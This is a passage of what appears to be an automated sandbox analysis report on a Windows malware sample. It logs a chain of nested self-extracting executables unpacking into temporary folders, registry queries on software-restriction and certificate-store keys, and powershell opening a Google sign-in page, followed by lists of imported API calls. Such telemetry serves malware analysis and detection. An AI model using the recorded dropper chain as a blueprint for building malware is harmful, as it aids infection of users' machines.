000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002672) "z3672075.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007228) "z3672075.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007228) "z9579752.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001620) "z9579752.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001620) "z8332048.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001752) "z8332048.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001752)2d:T7b6,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "z0143525.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "z0143525.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "z3672075.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "z3672075.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "z9579752.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "z9579752.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "z8332048.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "z8332048.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "q2544030.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "q2544030.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "r6085134.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "r6085134.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "s2433534.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")2e:T7ce,"AppLaunch.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DHCPDOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "SEARCHLIST"; Value: "")2f:T6a7,"t9287723.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\EXPLONDE.EXE") "explonde.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\KUS.EXE") "explonde.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\FOTO7447.EXE") "explonde.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE") "explonde.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: "APPENDPATH") "explonde.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\POWERSHELL.EXE"; Key: "PATH") "explonde.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SCHTASKS.EXE") "legota.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\RUNDLL32.EXE") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE"; Key: "PATH") "h7183381.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "h7183381.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{8DE5B0D4-A6D8-4F72-B8EF-28776A2EE5D5}") "h7183381.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{8DE5B0D4-A6D8-4F72-B8EF-28776A2EE5D5}"; Key: "DISPLAYVERSION") "h7183381.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AC76BA86-7AD7-1033-7B44-AB0000000001}"; Key: "DISPLAYNAME") "h7183381.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{AC76BA86-7AD7-1033-7B44-AB0000000001}"; Key: "DISPLAYVERSION")30:T479,"powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "")31:T814,"powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\67D147D5DAB7F28D663CA5B7A9568F087427B9F7"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\A031C46782E6E6C662C2C87C76DA9AA62CCABD8E"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\A399046417B67E320D3EFA69D7DCE6B8BFE8A9F2"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\C86EDBC71AB05078F61ACDF3D8DC5DB61EB75FB6"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E3FC0AD84F2F5A83ED6F86F567F8B14B40DCBF12"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB")32:T556,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "CreateDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007276) "z0143525.exe" called "CreateDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00002672) "z3672075.exe" called "CreateDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00007228) "z9579752.exe" called "CreateDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00001620) "z8332048.exe" called "CreateDirectoryA" with parameter %TEMP%\IXP004.TMP (UID: 00000000-00001752) "t9287723.exe" called "CreateDirectoryA" with parameter %TEMP%\fefffe8cea (UID: 00000000-00002216) "explonde.exe" called "CreateDirectoryA" with parameter %TEMP%\1000040051\ (UID: 00000000-00006964) "explonde.exe" called "CreateDirectoryA" with parameter %TEMP%\1000042051\ (UID: 00000000-00006964) "explonde.exe" called "CreateDirectoryA" with parameter %TEMP%\1000043041\ (UID: 00000000-00006964) "foto7447.exe" called "CreateDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00005548) "x3683024.exe" called "CreateDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00007196) "x2709271.exe" called "CreateDirectoryA" with parameter %TEMP%\IXP004.TMP (UID: 00000000-00002596) "h7183381.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\SystemCache (UID: 00000000-00005900)33:T9e9,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\z0143525.exe" - (UID: 00000000-00007276) "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\w7821698.exe" - (UID: 00000000-00007276) "z0143525.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\z3672075.exe" - (UID: 00000000-00002672) "z0143525.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\u0071771.exe" - (UID: 00000000-00002672) "z3672075.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\z9579752.exe" - (UID: 00000000-00007228) "z3672075.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\t9287723.exe" - (UID: 00000000-00007228) "z9579752.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\z8332048.exe" - (UID: 00000000-00001620) "z9579752.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\s2433534.exe" - (UID: 00000000-00001620) "z8332048.exe" called "CreateProcessA" with parameter "%TEMP%\IXP004.TMP\q2544030.exe" - (UID: 00000000-00001752) "z8332048.exe" called "CreateProcessA" with parameter "%TEMP%\IXP004.TMP\r6085134.exe" - (UID: 00000000-00001752) "foto7447.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\x8060195.exe" - (UID: 00000000-00005548) "foto7447.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\k8567853.exe" - (UID: 00000000-00005548) "x8060195.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\x3683024.exe" - (UID: 00000000-00008132) "x8060195.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\j0508220.exe" - (UID: 00000000-00008132) "x3683024.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\x2709271.exe" - (UID: 00000000-00007196) "x3683024.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\i8781473.exe" - (UID: 00000000-00007196) "x2709271.exe" called "CreateProcessA" with parameter "%TEMP%\IXP004.TMP\g5335915.exe" - (UID: 00000000-00002596) "x2709271.exe" called "CreateProcessA" with parameter "%TEMP%\IXP004.TMP\h7183381.exe" - (UID: 00000000-00002596) "powershell.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\internet explorer\iexplore.exe" https://accounts.google.com/" - (UID: 00000000-00006644) "ie_to_edge_stub.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --from-ie-to-edge=3 --ie-frame-hwnd=8028c" - (UID: 00000000-00004528)34:T874,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00001620.00000000.70100.00A10000.00000004.mdmp, 00000000-00001620.00000000.70100.00B40000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMit" (Indicator: "CreateProcess"; Source: "00000000-00001620.00000000.70100.00A40000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00001620.00000000.70100.00A40000.00000004.mdmp, 00000000-00001620.00000000.70100.00A90000.00000004.mdmp, 00000000-00001620.00000000.70100.00B40000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00001620.00000000.70100.00B40000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00001620.00000000.70100.00B40000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00001620.00000000.70100.00B40000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00001620.00000000.70100.00B40000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00001620.00000000.70100.00B40000.00000004.mdmp") Found reference to API "MPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00001620.00000000.70100.00B40000.00000004.mdmp") Found reference to API "PRINT,NS_ElevateCreateProcess::APIHook_CreateProcessA,318,[ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00001620.00000000.70100.00B40000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp")35:T7df0,Found reference to API (Indicator: "CheckTokenMembership"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "HeapSetInformation"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "DecryptFileA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "SHBrowseForFolder"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetTokenInformation"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "RegDeleteValueA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "RegOpenKeyExA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "FreeSid"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "OpenProcessToken"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "RegSetValueExA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "RegCreateKeyExA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "RegQueryValueExA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "EqualSid"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "RegCloseKey"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetShortPathNameA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetModuleFileNameA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "FindFirstFileA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetCurrentProcess"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "FindNextFileA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "FindClose"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "LocalAlloc"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "lstrcmpA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "CompareStringA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetLastError"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetFileAttributesA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "LoadLibraryA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "DeleteFileA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GlobalAlloc"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GlobalFree"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "CloseHandle"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "SetFileAttributesA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetProcAddress"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GlobalLock"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "LocalFree"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "RemoveDirectoryA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "FreeLibrary"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "CreateDirectoryA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GlobalUnlock"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "ReadFile"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "SizeofResource"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "WriteFile"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetDriveTypeA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "LoadLibraryExA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "SetFileTime"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "SetFilePointer"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "FindResourceA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "CreateMutexA"; File: 